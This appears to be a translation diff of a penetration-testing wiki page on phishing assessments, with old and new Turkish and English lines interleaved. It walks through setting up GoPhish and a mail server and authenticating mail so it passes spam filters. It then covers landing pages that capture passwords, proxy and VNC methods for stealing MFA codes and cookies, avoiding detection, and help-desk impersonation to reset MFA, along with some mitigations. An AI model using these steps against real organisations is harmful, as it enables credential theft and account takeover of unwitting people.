Daha fazla bilgi için bakınız: [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
Daha fazla bilgi için bkz. [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Güvenilir bir domain satın alma
### Buy a trusted domain
Kullanabileceğiniz bir expired domain aramak için [https://www.expireddomains.net/](https://www.expireddomains.net) sitesinde arama yapabilirsiniz.\
Satın almayı düşündüğünüz expired domainin **zaten iyi bir SEO'ya** sahip olduğundan emin olmak için şu servislerde nasıl kategorize edildiğine bakabilirsiniz:
Kullanabileceğiniz süresi dolmuş bir domaini bulmak için [https://www.expireddomains.net/](https://www.expireddomains.net) adresinde arama yapabilirsiniz.\
Satın almayı düşündüğünüz süresi dolmuş domainin **zaten iyi bir SEO'ya** sahip olduğundan emin olmak için aşağıdaki servislerde nasıl kategorize edildiğini kontrol edebilirsiniz:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## E-Posta Adresleri Bulma
## Discovering Emails
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
- [https://phonebook.cz/](https://phonebook.cz) (100% free)
@ -78,17 +78,17 @@ Satın almayı düşündüğünüz expired domainin **zaten iyi bir SEO'ya** sah
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
Daha fazla geçerli e-posta adresi **discover** etmek veya zaten bulduğunuz adresleri **verify** etmek için hedefin SMTP sunucularına karşı bu adresleri brute-force edip edemeyeceğinizi kontrol edebilirsiniz. [E-posta adreslerini doğrulama/bulma hakkında bilgi için buraya bakın](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Ayrıca, kullanıcılar maillerine erişmek için **herhangi bir web portalı** kullanıyorsa, portalın **username brute force**'a karşı zafiyetli olup olmadığını kontrol etmeyi unutmayın ve mümkünse bu zafiyeti istismar edin.
Daha fazla geçerli e-posta adresi **keşfetmek** veya zaten keşfettiklerinizi **doğrulamak** için, hedefin SMTP sunucularına karşı bu adresleri brute-force ile deneyebilirsiniz. [E-posta adreslerini doğrulama/keşfetmeyi burada öğrenin](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Ayrıca, eğer kullanıcılar maillerine erişmek için herhangi bir web portalı kullanıyorsa, bu portalın **username brute force**'a karşı zafiyeti olup olmadığını kontrol etmeyi ve mümkünse bu zafiyeti sömürmeyi unutmayın.
## GoPhish Yapılandırma
## Configuring GoPhish
### Kurulum
### Installation
İndirilebilir sürüm: [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
İndirin ve `/opt/gophish` içine açın ve `/opt/gophish/gophish`'i çalıştırın.\
Çıktıda admin kullanıcısı için port 3333te kullanılacak bir parola verilecektir. Bu nedenle o porte erişip verilen kimlik bilgileriyle admin şifresini değiştirin. Gerekirse o portu local'e tünellemeniz gerekebilir:
Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\
You will be given a password for the admin user in port 3333 in the output. Therefore, access that port and use those credentials to change the admin password. You may need to tunnel that port to local:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**TLS sertifikası yapılandırması**
Bu adımdan önce kullanacağınız **alan adını zaten satın almış** olmalısınız ve bu alan adı, **gophish**'i yapılandırdığınız **VPS'nin IP adresine** **yönlendirilmiş** olmalıdır.
Bu adımdan önce kullanacağınız **alan adını zaten satın almış** olmalısınız ve bu alan adının, **gophish**'ı yapılandırdığınız **VPS'in IP adresine** **işaret ediyor** olması gerekir.
```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
@ -114,9 +114,9 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
```
**Mail yapılandırması**
Kuruluma başla: `apt-get install postfix`
Yüklemeye başla: `apt-get install postfix`
Sonra alan adını şu dosyalara ekleyin:
Daha sonra alan adını şu dosyalara ekleyin:
- **/etc/postfix/virtual_domains**
- **/etc/postfix/transport**
@ -127,18 +127,18 @@ Sonra alan adını şu dosyalara ekleyin:
`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`
Son olarak **`/etc/hostname`** ve **`/etc/mailname`** dosyalarını alan adınızla değiştirin ve VPS'nizi yeniden başlatın.
Son olarak **`/etc/hostname`** ve **`/etc/mailname`** dosyalarını alan adınız ile güncelleyin ve **VPS'inizi yeniden başlatın.**
Şimdi VPS'nin **ip address**'ine işaret eden `mail.<domain>` için bir **DNS A record** oluşturun ve `mail.<domain>`'e işaret eden bir **DNS MX** kaydı ekleyin
Şimdi VPS'in IP adresini işaret eden `mail.<domain>` için bir **DNS A record** oluşturun ve `mail.<domain>`'i işaret eden bir **DNS MX** kaydı oluşturun.
Şimdi e-posta gönderimini test edelim:
Şimdi e-posta göndermeyi test edelim:
```bash
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
```
**Gophish yapılandırması**
gophish'in çalışmasını durdurun ve yapılandıralım.\
Gophish'in çalışmasını durdurun ve yapılandırmasını yapalım.\
`/opt/gophish/config.json` dosyasını aşağıdaki gibi değiştirin (https kullanımına dikkat):
```bash
{
@ -166,7 +166,7 @@ gophish'in çalışmasını durdurun ve yapılandıralım.\
```
**gophish servisini yapılandırma**
gophish servisini otomatik olarak başlatılabilecek ve bir servis olarak yönetilebilecek şekilde oluşturmak için `/etc/init.d/gophish` dosyasını aşağıdaki içerikle oluşturabilirsiniz:
gophish servisinin otomatik olarak başlatılabilmesi ve bir servis olarak yönetilebilmesi için, aşağıdaki içeriğe sahip `/etc/init.d/gophish` dosyasını oluşturabilirsiniz:
```bash
#!/bin/bash
# /etc/init.d/gophish
@ -213,7 +213,7 @@ case $1 in
start|stop|status) "$1" ;;
esac
```
Servisi yapılandırmayı tamamlayın ve şunları kontrol edin:
Hizmeti yapılandırmayı tamamlayın ve çalıştığını şu şekilde kontrol edin:
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@ -224,46 +224,46 @@ service gophish status
ss -l | grep "3333\|443"
service gophish stop
```
## Mail sunucusu ve domain yapılandırması
## Mail sunucusu ve alan adı yapılandırması
### Bekleyin ve meşru olun
### Bekle & meşru ol
Bir domain ne kadar eskiyse spam olarak işaretlenme olasılığı o kadar düşüktür. Bu yüzden phishing değerlendirmesinden önce mümkün olduğunca uzun süre (en az 1 hafta) beklemelisiniz. Ayrıca, itibar gerektiren bir sektöre dair bir sayfa eklerseniz elde edeceğiniz itibar daha iyi olur.
Ne kadar eski bir domain olursa spam olarak yakalanma olasılığı o kadar düşüktür. Bu yüzden phishing değerlendirmesinden önce mümkün olduğunca uzun süre (en az 1 hafta) beklemelisiniz. Ayrıca, itibar gerektiren bir sektöre ait bir sayfa eklerseniz elde edilen itibar daha iyi olur.
Bir hafta beklemeniz gerekse bile her şeyi şimdi yapılandırmayı bitirebileceğinizi unutmayın.
Unutmayın, bir hafta beklemeniz gerekse bile her şeyi şimdi yapılandırmayı bitirebilirsiniz.
### Reverse DNS (rDNS) kaydını yapılandırın
### Reverse DNS (rDNS) record yapılandırması
VPS'in IP adresini domain adına çözecek bir rDNS (PTR) kaydı ayarlayın.
VPS'in IP adresini domain adına çözecek bir rDNS (PTR) record ayarlayın.
### Sender Policy Framework (SPF) Kaydı
### Sender Policy Framework (SPF) Record
Yeni domain için bir SPF kaydı **yapılandırmalısınız**. SPF kaydının ne olduğunu bilmiyorsanız [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Yeni domain için **bir SPF record yapılandırmalısınız**. Eğer SPF record'un ne olduğunu bilmiyorsanız [**bu sayfayı okuyun**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine)
SPF politikanızı oluşturmak için [https://www.spfwizard.net/](https://www.spfwizard.net) adresini kullanabilirsiniz (VPS makinesinin IP'sini kullanın)
![](<../../images/image (1037).png>)
Bu, domain içindeki bir TXT kaydına girilmesi gereken içeriktir:
Bu, domain içindeki bir TXT record içine konması gereken içeriktir:
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
### Domain-based Message Authentication, Reporting & Conformance (DMARC) Kaydı
Yeni alan için **DMARC kaydı yapılandırmalısınız**. Eğer bir DMARC kaydının ne olduğunu bilmiyorsanız [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Yeni alan adı için **bir DMARC kaydı yapılandırmalısınız**. Bir DMARC kaydının ne olduğunu bilmiyorsanız [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Aşağıdaki içeriğe sahip, `_dmarc.<domain>` host adına işaret eden yeni bir DNS TXT record oluşturmalısınız:
Aşağıdaki içeriğe sahip olacak şekilde `_dmarc.<domain>` host adına işaret eden yeni bir DNS TXT kaydı oluşturmalısınız:
```bash
v=DMARC1; p=none
```
### DomainKeys Identified Mail (DKIM)
Yeni domain için **bir DKIM yapılandırması yapmalısınız**. Eğer DMARC kaydının ne olduğunu bilmiyorsanız [**bu sayfayı okuyun**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
Yeni alan adı için **DKIM yapılandırması yapmalısınız**. Bir DMARC kaydının ne olduğunu bilmiyorsanız [**bu sayfayı okuyun**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
Bu öğretici şu kaynağa dayanmaktadır: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!TIP]
> DKIM anahtarının ürettiği iki B64 değerini birleştirmeniz gerekir:
> DKIM anahtarının oluşturduğu her iki B64 değerini birleştirmeniz gerekir:
>
> ```
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
@ -271,12 +271,11 @@ This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how
### E-posta yapılandırma puanınızı test edin
Bunu [https://www.mail-tester.com/](https://www.mail-tester.com)\
Sayfaya girip size verdikleri adrese bir e-posta gönderin:
Bunu [https://www.mail-tester.com/](https://www.mail-tester.com/)\ kullanarak yapabilirsiniz. Sayfaya girip size verdikleri adrese bir e-posta gönderin:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
Ayrıca `check-auth@verifier.port25.com` adresine bir e-posta göndererek **e-posta yapılandırmanızı kontrol edebilir** ve **yanıtı okuyabilirsiniz** (bunun için **açmanız** port **25** ve e-postayı root olarak gönderirseniz yanıtı _/var/mail/root_ dosyasında görmeniz gerekir).\
Ayrıca **e-posta yapılandırmanızı kontrol etmek** için `check-auth@verifier.port25.com` adresine bir e-posta gönderip **yanıtı okuyabilirsiniz** (bunun için port **25**'i **açmanız** ve e-postayı root olarak gönderirseniz yanıtı _/var/mail/root_ dosyasında görmeniz gerekir).\
Tüm testleri geçtiğinizden emin olun:
```bash
==========================================================
@ -288,40 +287,40 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
Ayrıca **kontrolünüz altındaki bir Gmail'e mesaj** gönderebilir ve Gmail gelen kutunuzda **e-postanın başlıklarını** kontrol edebilirsiniz; `Authentication-Results` başlık alanında `dkim=pass` bulunmalıdır.
Kontrolünüzdeki bir **Gmail hesabına mesaj** da gönderebilir ve Gmail gelen kutunuzda **e-postanın başlıklarını** kontrol edebilirsiniz; `Authentication-Results` başlık alanında `dkim=pass` bulunmalıdır.
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
### Spamhouse Kara Listesinden Kaldırma
### Spamhouse Kara Listesinden Kaldırma
[www.mail-tester.com](https://www.mail-tester.com) sayfası, alan adınızın spamhouse tarafından engellenip engellenmediğini gösterebilir. Alan adınız/IP'nizin kaldırılmasını şu adresten talep edebilirsiniz: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
The page [www.mail-tester.com](https://www.mail-tester.com) alan adınızın Spamhouse tarafından engellenip engellenmediğini gösterebilir. Alan adınız/IP'nizin kaldırılmasını şu adresten talep edebilirsiniz: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Microsoft Kara Listesinden Kaldırma
Alan adınız/IP'nizin kaldırılmasını şu adresten talep edebilirsiniz: [https://sender.office.com/](https://sender.office.com).
Alan adınız/IP'nizin kaldırılmasını şu adresten talep edebilirsiniz: [https://sender.office.com/](https://sender.office.com).
## GoPhish Kampanyası Oluşturma ve Başlatma
### Gönderici Profili
- Gönderici profilini tanımlamak için bir **name to identify** belirleyin
- Gönderici profilini tanımlamak için bir **isim belirleyin**
- Phishing e-postalarını hangi hesaptan göndereceğinize karar verin. Öneriler: _noreply, support, servicedesk, salesforce..._
- Kullanıcı adı ve şifreyi boş bırakabilirsiniz, ancak **Ignore Certificate Errors** seçeneğini işaretlediğinizden emin olun
- Kullanıcı adı ve şifreyi boş bırakabilirsiniz, ancak **Ignore Certificate Errors** seçeneğinin işaretli olduğundan emin olun
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP]
> Her şeyin çalıştığını test etmek için "**Send Test Email**" işlevini kullanmanız önerilir.\
> Testler sırasında kara listeye alınmayı önlemek için **test e-postalarını 10min mails adreslerine** göndermenizi tavsiye ederim.
> Her şeyin çalıştığını test etmek için "**Send Test Email**" özelliğini kullanmanız tavsiye edilir.\
> Testler sırasında kara listeye alınmamak için test e-postalarını **10min mails adreslerine göndermenizi** öneririm.
### E-posta Şablonu
- Şablonu tanımlamak için bir **name to identify** belirleyin
- Sonra bir **subject** yazın (garip olmasın, normal bir e-postada görebileceğiniz bir şey)
- "**Add Tracking Image**" seçeneğini işaretlediğinizden emin olun
- **email template** yazın (aşağıdaki örnekteki gibi değişkenler kullanabilirsiniz):
- Şablonu tanımlamak için bir **isim belirleyin**
- Sonra bir **subject** yazın (tuhaf olmayan, normal bir e-postada görebileceğiniz türden bir şey)
- Mutlaka "**Add Tracking Image**" seçeneğinin işaretli olduğundan emin olun
- E-posta **şablonunu** yazın (aşağıdaki örnekte olduğu gibi değişkenler kullanabilirsiniz):
```html
<html>
<head>
@ -340,123 +339,123 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
Note that **in order to increase the credibility of the email**, it's recommended to use some signature from an email from the client. Suggestions:
Not: E-postanın güvenilirliğini artırmak için, müşterinin bir e-postasından bazı imzaları kullanmanız önerilir. Öneriler:
- Send an email to a **non existent address** and check if the response has any signature.
- Search for **public emails** like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response.
- Try to contact **some valid discovered** email and wait for the response
- Bir **var olmayan adrese** e-posta gönderin ve yanıtın bir imza içerip içermediğini kontrol edin.
- info@ex.com veya press@ex.com veya public@ex.com gibi **genel e-posta adreslerini** arayın, onlara bir e-posta gönderin ve yanıtı bekleyin.
- Keşfettiğiniz **geçerli bir e-posta adresiyle** iletişime geçmeyi deneyin ve yanıtı bekleyin.
![](<../../images/image (80).png>)
> [!TIP]
> The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
> Email Template ayrıca **gönderilecek dosyalar eklemenize** izin verir. Eğer özel hazırlanmış dosya/belgeler kullanarak NTLM challenge'larını çalmak isterseniz [bu sayfayı okuyun](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### Landing Page
### Landing Sayfası
- Write a **name**
- **Write the HTML code** of the web page. Note that you can **import** web pages.
- Mark **Capture Submitted Data** and **Capture Passwords**
- Set a **redirection**
- Bir **isim** yazın
- Web sayfasının **HTML kodunu yazın**. Web sayfalarını **içe aktarabileceğinizi** unutmayın.
- **Capture Submitted Data** ve **Capture Passwords** seçeneklerini işaretleyin
- Bir **yeniden yönlendirme** ayarlayın
![](<../../images/image (826).png>)
> [!TIP]
> Usually you will need to modify the HTML code of the page and make some tests in local (maybe using some Apache server) **until you like the results.** Then, write that HTML code in the box.\
> Note that if you need to **use some static resources** for the HTML (maybe some CSS and JS pages) you can save them in _**/opt/gophish/static/endpoint**_ and then access them from _**/static/\<filename>**_
> Genellikle sayfanın HTML kodunu değiştirmeniz ve yerelde bazı testler yapmanız (ör. bir Apache sunucusu kullanarak) **sonuçtan memnun kalana kadar** gerekir. Ardından o HTML kodunu kutuya yapıştırın.\
> Eğer HTML için **bazı statik kaynakları kullanmanız** gerekiyorsa (ör. bazı CSS ve JS dosyaları) bunları _**/opt/gophish/static/endpoint**_ dizinine kaydedebilir ve sonra _**/static/\<filename>**_ üzerinden erişebilirsiniz.
> [!TIP]
> For the redirection you could **redirect the users to the legit main web page** of the victim, or redirect them to _/static/migration.html_ for example, put some **spinning wheel (**[**https://loading.io/**](https://loading.io)**) for 5 seconds and then indicate that the process was successful**.
> Yönlendirme için kullanıcıları hedefin gerçek ana web sayfasına yönlendirebilir veya örneğin _/static/migration.html_e yönlendirip [https://loading.io/](https://loading.io/) gibi bir **spinning wheel** 5 saniye gösterip sonra işlemin başarılı olduğunu belirtebilirsiniz.
### Users & Groups
### Kullanıcılar & Gruplar
- Set a name
- **Import the data** (note that in order to use the template for the example you need the firstname, last name and email address of each user)
- Bir ad belirleyin
- **Import the data** (örnek şablonu kullanmak için her kullanıcının firstname, last name ve email address bilgilerine ihtiyacınız olduğunu unutmayın)
![](<../../images/image (163).png>)
### Campaign
### Kampanya
Finally, create a campaign selecting a name, the email template, the landing page, the URL, the sending profile and the group. Note that the URL will be the link sent to the victims
Son olarak bir isim, email template, landing page, URL, sending profile ve group seçerek bir kampanya oluşturun. URL'nin kurbana gönderilecek link olduğunu unutmayın
Note that the **Sending Profile allow to send a test email to see how will the final phishing email looks like**:
Not: **Sending Profile**, final phishing e-postanın nasıl görüneceğini görmek için bir test e-postası göndermeye izin verir:
![](<../../images/image (192).png>)
> [!TIP]
> I would recommend to **send the test emails to 10min mails addresses** in order to avoid getting blacklisted making tests.
> Testler sırasında kara listeye alınmayı önlemek için test e-postalarını **10min mail adreslerine** göndermenizi öneririm.
Once everything is ready, just launch the campaign!
Her şey hazır olduğunda, kampanyayı başlatın!
## Website Cloning
## Web Sitesi Klonlama
If for any reason you want to clone the website check the following page:
Herhangi bir nedenle web sitesini klonlamak isterseniz aşağıdaki sayfayı kontrol edin:
{{#ref}}
clone-a-website.md
{{#endref}}
## Backdoored Documents & Files
## Backdoor'lu Belgeler ve Dosyalar
In some phishing assessments (mainly for Red Teams) you will want to also **send files containing some kind of backdoor** (maybe a C2 or maybe just something that will trigger an authentication).\
Check out the following page for some examples:
Bazı phishing değerlendirmelerinde (özellikle Red Teams için) ayrıca **backdoor içeren dosyalar göndermek** isteyebilirsiniz (örneğin bir C2 veya sadece bir kimlik doğrulamayı tetikleyecek bir şey olabilir).\
Bazı örnekler için aşağıdaki sayfaya bakın:
{{#ref}}
phishing-documents.md
{{#endref}}
## Phishing MFA
## Phishing ile MFA
### Via Proxy MitM
### Proxy MitM ile
The previous attack is pretty clever as you are faking a real website and gathering the information set by the user. Unfortunately, if the user didn't put the correct password or if the application you faked is configured with 2FA, **this information won't allow you to impersonate the tricked user**.
Önceki saldırı, gerçek bir web sitesini taklit edip kullanıcının girdiği bilgileri topladığınız için oldukça zekicedir. Ne yazık ki, kullanıcı doğru parolayı girmezse veya taklit ettiğiniz uygulama 2FA ile yapılandırılmışsa, **bu bilgiler sizi kandırılan kullanıcının yerine geçmeye yetmeyecektir**.
This is where tools like [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) and [**muraena**](https://github.com/muraenateam/muraena) are useful. This tool will allow you to generate a MitM like attack. Basically, the attacks works in the following way:
Bu noktada [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) ve [**muraena**](https://github.com/muraenateam/muraena) gibi araçlar faydalıdır. Bu araçlar size bir MitM türü saldırı oluşturma imkanı verir. Temelde saldırı şu şekilde çalışır:
1. You **impersonate the login** form of the real webpage.
2. The user **send** his **credentials** to your fake page and the tool send those to the real webpage, **checking if the credentials work**.
3. If the account is configured with **2FA**, the MitM page will ask for it and once the **user introduces** it the tool will send it to the real web page.
4. Once the user is authenticated you (as attacker) will have **captured the credentials, the 2FA, the cookie and any information** of every interaction your while the tool is performing a MitM.
1. Gerçek web sayfasının **giriş formunu taklit edersiniz**.
2. Kullanıcı kimlik bilgilerini sahte sayfanıza gönderir ve araç bunları gerçek web sayfasına göndererek **bilgilerin geçerli olup olmadığını kontrol eder**.
3. Hesap **2FA** ile yapılandırılmışsa, MitM sayfası bunu isteyecek ve kullanıcı girdikten sonra araç bunu gerçek web sayfasına iletecektir.
4. Kullanıcı doğrulandıktan sonra saldırgan olarak **kimlik bilgilerini, 2FA kodunu, cookie'yi ve araç MitM sırasında gerçekleşen her etkileşimin bilgisini** yakalamış olursunuz.
### Via VNC
### VNC ile
What if instead of **sending the victim to a malicious page** with the same looks as the original one, you send him to a **VNC session with a browser connected to the real web page**? You will be able to see what he does, steal the password, the MFA used, the cookies...\
You can do this with [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
Kurbanı orijinaline benzeyen kötü amaçlı bir sayfaya göndermek yerine, onu gerçek web sayfasına bağlı bir tarayıcıya sahip bir **VNC oturumuna** gönderirseniz ne olur? Ne yaptığını görebilir, parolayı, kullanılan MFAyı, çerezleri çalabilirsiniz...\
Bunu [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) ile yapabilirsiniz
## Detecting the detection
## Tespitin tespiti
Obviously one of the best ways to know if you have been busted is to **search your domain inside blacklists**. If it appears listed, somehow your domain was detected as suspicions.\
One easy way to check if you domain appears in any blacklist is to use [https://malwareworld.com/](https://malwareworld.com)
Birinin sizi yakalayıp yakalamadığını anlamanın en iyi yollarından biri, alan adınızı karaliste içinde aramaktır. Alan adınız listeleniyorsa, bir şekilde alan adınız şüpheli olarak tespit edilmiştir.\
Alan adınızın herhangi bir karalisteye girip girmediğini kontrol etmenin kolay bir yolu [https://malwareworld.com/](https://malwareworld.com) adresini kullanmaktır.
However, there are other ways to know if the victim is **actively looking for suspicions phishing activity in the wild** as explained in:
Ancak, kurbanın **yabanda şüpheli phishing etkinlikleri arayıp aramadığını** bilmenin başka yolları da vardır; bunlar şu sayfada açıklandığı gibidir:
{{#ref}}
detecting-phising.md
{{#endref}}
You can **buy a domain with a very similar name** to the victims domain **and/or generate a certificate** for a **subdomain** of a domain controlled by you **containing** the **keyword** of the victim's domain. If the **victim** perform any kind of **DNS or HTTP interaction** with them, you will know that **he is actively looking** for suspicious domains and you will need to be very stealth.
Kurbanın alan adına çok benzer bir isimle bir domain satın alabilir ve/veya sizin kontrolünüzdeki bir domainin **alt alanı** için kurbanın alan adı anahtar kelimesini içeren bir sertifika oluşturabilirsiniz. Eğer **kurban** bu domainlerle herhangi bir DNS veya HTTP etkileşimi yaparsa, aktif olarak şüpheli domainler aradığını anlarsınız ve çok daha gizli hareket etmeniz gerekir.
### Evaluate the phishing
### Phishing'i değerlendirme
Use [**Phishious** ](https://github.com/Rices/Phishious)to evaluate if your email is going to end in the spam folder or if it's going to be blocked or successful.
E-postanızın spam klasörüne düşüp düşmeyeceğini, engellenip engellenmeyeceğini veya başarılı olup olmayacağını değerlendirmek için [**Phishious**](https://github.com/Rices/Phishious) kullanın.
## High-Touch Identity Compromise (Help-Desk MFA Reset)
Modern intrusion sets increasingly skip email lures entirely and **directly target the service-desk / identity-recovery workflow** to defeat MFA. The attack is fully "living-off-the-land": once the operator owns valid credentials they pivot with built-in admin tooling no malware is required.
Modern intrusion setleri giderek daha fazla e-posta tuzaklarını tamamen atlayıp **doğrudan service-desk / identity-recovery iş akışını** hedefleyerek MFA'yı aşmayı tercih ediyor. Bu saldırı tamamen "living-off-the-land": operatör geçerli kimlik bilgilerini ele geçirdikten sonra yerleşik admin araçlarıyla pivot yapar herhangi bir malware gerekli değildir.
### Attack flow
1. Recon the victim
* Harvest personal & corporate details from LinkedIn, data breaches, public GitHub, etc.
* Identify high-value identities (executives, IT, finance) and enumerate the **exact help-desk process** for password / MFA reset.
2. Real-time social engineering
* Phone, Teams or chat the help-desk while impersonating the target (often with **spoofed caller-ID** or **cloned voice**).
* Provide the previously-collected PII to pass knowledge-based verification.
* Convince the agent to **reset the MFA secret** or perform a **SIM-swap** on a registered mobile number.
3. Immediate post-access actions (≤60 min in real cases)
* Establish a foothold through any web SSO portal.
* Enumerate AD / AzureAD with built-ins (no binaries dropped):
### Saldırı akışı
1. Hedefi keşfetme
* LinkedIn, veri sızıntıları, açık GitHub, vb. kaynaklardan kişisel ve kurumsal bilgileri toplama.
* Yüksek değerli kimlikleri (yöneticiler, IT, finans) belirleyin ve parola / MFA sıfırlama için **tam yardım masası sürecini** tespit edin.
2. Gerçek zamanlı sosyal mühendislik
* Hedefi taklit ederek telefon, Teams veya chat üzerinden help-desk ile iletişim kurun (çoğunlukla **spoofed caller-ID** veya **klonlanmış ses** ile).
* Önceden toplanmış PII bilgilerini vererek bilgi-temelli doğrulamayı geçin.
* Görevliden **MFA secret'ı sıfırlamasını** veya kayıtlı bir mobil numarada **SIM-swap** yapmasını sağlayın.
3. Erişim sonrası anlık eylemler (gerçek vakalarda ≤60 dk)
* Herhangi bir web SSO portalı üzerinden foothold oluşturun.
* Yerleşik araçlarla AD / AzureAD keşfi yapın (ikili dosya bırakmaya gerek yok):
```powershell
# list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
@ -467,58 +466,58 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local>
```
* Lateral movement with **WMI**, **PsExec**, or legitimate **RMM** agents already whitelisted in the environment.
* Ortaya hareket için **WMI**, **PsExec** veya ortamda zaten beyaz listeye alınmış meşru **RMM** ajanlarını kullanın.
### Detection & Mitigation
* Treat help-desk identity recovery as a **privileged operation** require step-up auth & manager approval.
* Deploy **Identity Threat Detection & Response (ITDR)** / **UEBA** rules that alert on:
* MFA method changed + authentication from new device / geo.
* Immediate elevation of the same principal (user-→-admin).
* Record help-desk calls and enforce a **call-back to an already-registered number** before any reset.
* Implement **Just-In-Time (JIT) / Privileged Access** so newly reset accounts do **not** automatically inherit high-privilege tokens.
### Tespit & Hafifletme
* Help-desk identity recovery işlemini **ayrıcalıklı bir operasyon** olarak ele alın step-up auth ve yönetici onayı gerektirin.
* Aşağıdaki durumlarda uyarı veren **Identity Threat Detection & Response (ITDR)** / **UEBA** kuralları dağıtın:
* MFA yöntemi değişti + yeni cihaz / coğrafyadan kimlik doğrulama.
* Aynı prensibin (user → admin) anında yükseltilmesi.
* Help-desk aramalarını kaydedin ve herhangi bir sıfırlamadan önce **önceden kayıtlı bir numaraya geri dönüş (call-back)** zorunlu kılın.
* Yeni sıfırlanan hesapların otomatik olarak yüksek ayrıcalıklı token'lar edinmemesi için **Just-In-Time (JIT) / Privileged Access** uygulayın.
---
## At-Scale Deception SEO Poisoning & “ClickFix” Campaigns
Commodity crews offset the cost of high-touch ops with mass attacks that turn **search engines & ad networks into the delivery channel**.
## Büyük Ölçekli Aldatma SEO Poisoning & “ClickFix” Kampanyaları
Hammadde ekipleri, yüksek dokunuşlu operasyonların maliyetini, **arama motorlarını ve reklam ağlarını teslimat kanalı haline getiren** kitlesel saldırılarla dengelerler.
